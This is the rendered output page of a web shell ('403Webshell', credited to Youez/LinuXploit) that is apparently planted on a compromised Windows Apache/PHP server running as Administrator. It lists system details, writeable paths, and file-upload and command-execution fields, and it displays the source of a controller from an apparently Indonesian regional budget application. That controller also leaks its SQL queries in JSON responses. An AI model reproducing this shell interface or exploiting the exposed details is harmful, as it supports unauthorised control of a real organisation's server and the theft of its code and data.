403Webshell
Server IP : 127.0.0.1  /  Your IP : 192.168.99.1
Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9
System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64
User : Administrator ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  D:/wamp/www/sipapbd_2019/application/modules/rka_skpd/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : D:/wamp/www/sipapbd_2019/application/modules/rka_skpd/controllers/rka_skpd.php
<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Rka_skpd extends Rka_Controller {

  public function __construct()
  {
    parent::__construct();

    $this->modul_name = 'rka_skpd';
    $this->dpa = 'rkadpa';
    $this->modul_display = 'RKA SKPD';
    $this->view_form = 'rka_skpd_form';
    $this->view_daftar = 'rka_skpd_view';
    $this->report_daftar = 'DAFTAR RKA_SKPD';
    $this->report_form = 'FORM RKA_SKPD';
    $this->load->model('rka_skpd_model', 'data_model');

    $this->message_dihapus = 'RKA SKPD telah dihapus.';
    $this->message_gagal_dihapus = 'RKA SKPD tidak bisa dihapus.';
  }

  function validasi()
  {
    $this->form_validation->set_rules('kaskpd', 'Kepala SKPD', 'trim|integer');
  }

  function rincian($id_skpd = 0)
  {
    $result = $this->data_model->get_rincian($id_skpd);

    $response = (object) NULL;
    if ($result){
      for($i=0; $i<count($result); $i++)
      {
        $response->rows[$i]['id'] = $result[$i]['ID_REKENING'];
        $response->rows[$i]['cell'][] = $result[$i]['KODE_REKENING'];
        $response->rows[$i]['cell'][] = $result[$i]['NAMA_REKENING'];
        $response->rows[$i]['cell'][] = $result[$i]['PAGU'];
        $response->rows[$i]['cell'][] = $result[$i]['LVL'];
      }
    }

    $response->sql = $this->db->queries;
    echo json_encode($response);
  }

  function get_nominal($id_skpd = 0)
  {
    $response = (object) NULL;
    $result = $this->data_model->get_nominal($id_skpd);

    $response->belanja = $result['RKA1'] - ($result['RKA21'] + $result['RKA221']);
    $response->biaya = $result['RKA31'] - $result['RKA32'];

    echo json_encode($response);
  }

}

Youez - 2016 - github.com/yon3zu
LinuXploit